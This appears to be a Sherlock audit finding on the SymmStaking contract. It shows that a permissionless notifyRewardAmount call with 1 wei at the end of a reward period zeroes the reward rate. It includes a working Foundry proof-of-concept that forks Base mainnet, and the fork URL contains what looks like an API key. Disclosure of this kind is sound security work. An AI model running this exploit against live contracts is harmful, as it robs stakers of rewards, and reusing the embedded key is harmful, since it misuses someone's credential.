Dizzy Stone Sidewinder

Medium

# Reward Rate Manipulation at Reward Period End Leading to Reward Disparity

## Summary:

The `SymmStaking` contract's `notifyRewardAmount` function, being permissionless, allows an attacker to manipulate the reward rate by sending a minimal amount (1 wei) of reward tokens at the very end of the reward period. This manipulation drastically reduces the reward rate, causing later claimers to receive disproportionately lower rewards than early claimers.

## Vulnerability Details:

The [`_addRewardsForToken`](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/d7cf7fc96af1c25b53a7b500a98b411cd018c0d3/token/contracts/staking/SymmStaking.sol#L366) function calculates the reward rate as `amount / state.duration`. An attacker can exploit this by:

1.  Waiting until the current reward period is nearing its end.
2.  Calling `notifyRewardAmount` with 1 wei of reward tokens.
3.  Because the `state.duration` is a large value (e.g., 1 week in seconds), dividing 1 wei by this duration results in 0 reward rate.
4.  Subsequent reward calculations in `rewardPerToken` and `earned` will be based on this manipulated rate, leading to significantly reduced rewards for users claiming after the manipulation.

## Impact

- **Reward Disparity:** Users claiming rewards immediately after the manipulation will receive significantly less rewards than those who claimed earlier.
- **Unfair Reward Distribution:** This vulnerability violates the intended fair distribution of rewards based on staking duration and amount.

## Proof of Concept:

1. Use this guide to intergrate **foundry** into your project: [foundry](https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry)
2. Create a new file `FortisAudits.t.sol` in the `test` directory.
3. Add the following code to the `FortisAudits.t.sol` file:
4. Run the test using `forge test --mt test_FortisAudits_AttackerMakesRewardRateZero -vvvv`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;

import "../contracts/vesting/Vesting.sol";
import "../contracts/vesting/SymmVesting.sol";
import "../contracts/staking/SymmStaking.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/Test.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract FortisAudits is Test {
	Vesting public vesting;
	SymmVesting public symmVesting_implementation;
	SymmVesting public symmVesting;
	ERC1967Proxy public proxy;
	SymmStaking public symmStaking_implementation;
	SymmStaking public symmStaking;
	address public admin = makeAddr("admin");
	address public alice = makeAddr("alice");
	address public bluedragon = makeAddr("bluedragon");
	address public bob = makeAddr("bob");
	address public jack = makeAddr("jack");
	address public USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
	address public SYMM = 0x800822d361335b4d5F352Dac293cA4128b5B605f;
	address public VAULT = 0xbA1333333333a1BA1108E8412f11850A5C319bA9;
	address public ROUTER = 0x76578ecf9a141296Ec657847fb45B0585bCDa3a6;
	address public POOL = 0x94Bf449AB92be226109f2Ed3CE2b297Db94bD995;
	address public PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
	address public SYMM_LP = 0x94Bf449AB92be226109f2Ed3CE2b297Db94bD995;
	address public USDT = 0xfde4C96c8593536E31F229EA8f37b2ADa2699bb2;

	function setUp() public {
		vm.createSelectFork("https://base-mainnet.g.alchemy.com/v2/7lQIfa41qSuRzxZqqrPakiOhNbvMnFID");
		vesting = new Vesting();
		symmVesting_implementation = new SymmVesting();
		symmStaking_implementation = new SymmStaking();
		bytes memory initData = abi.encodeWithSelector(symmStaking_implementation.initialize.selector, admin, SYMM);
		proxy = new ERC1967Proxy(address(symmStaking_implementation), initData);
		symmStaking = SymmStaking(address(proxy));
		initData = abi.encodeWithSelector(symmVesting_implementation.initialize.selector, admin, admin, POOL, ROUTER, PERMIT2, VAULT, SYMM, USDC, SYMM_LP);
		proxy = new ERC1967Proxy(address(symmVesting_implementation), initData);
		symmVesting = SymmVesting(address(proxy));
	}

	function test_FortisAudits_AttackerMakesRewardRateZero() public {
		deal(address(USDC), admin, 604800e6);
		deal(address(SYMM), alice, 1000e18);
		deal(address(USDC), bluedragon, 1000e6);
		vm.prank(admin);
		symmStaking.configureRewardToken(USDC, true);

		// alice stakes 100 SYMM Tokens
		vm.startPrank(alice);
		IERC20(SYMM).approve(address(symmStaking), 100e18);
		symmStaking.deposit(100e18, alice);
		vm.stopPrank();

		// admin deposits 604800 tokens for simplicity reward rate is 1
		symmStaking.rewardState(USDC);
		vm.startPrank(admin);
		address[] memory rewardTokens = new address[](1);
		rewardTokens[0] = USDC;
		uint256[] memory amounts = new uint256[](1);
		amounts[0] = 604800e6;
		IERC20(USDC).approve(address(symmStaking), 604800e6);
		symmStaking.notifyRewardAmount(rewardTokens, amounts);
		vm.stopPrank();

		(,uint256 periodFinish,,,) = symmStaking.rewardState(USDC);

		// Attacker makes the reward rate zero
		vm.warp(periodFinish);
		amounts[0] = 1;
		vm.startPrank(bluedragon);
		IERC20(USDC).approve(address(symmStaking), 1);
		symmStaking.notifyRewardAmount(rewardTokens, amounts);
		vm.stopPrank();
		(,,uint256 rate,,) = symmStaking.rewardState(USDC);
		assertEq(rate,  0); // Making the reward rate zero
	}
}
```

## Recommended Mitigation:

- **Restrict `notifyRewardAmount` Access:**
  - Implement an access control mechanism to restrict the `notifyRewardAmount` function to authorized roles (e.g., `REWARD_MANAGER_ROLE`).
- **Minimum Reward Amount Threshold:**
  - Introduce a minimum reward amount threshold for the `notifyRewardAmount` function. If the amount is below the threshold, the function should revert.
